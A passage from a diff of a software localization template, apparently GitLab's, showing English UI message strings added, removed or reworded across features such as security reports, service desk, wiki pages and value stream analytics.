msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
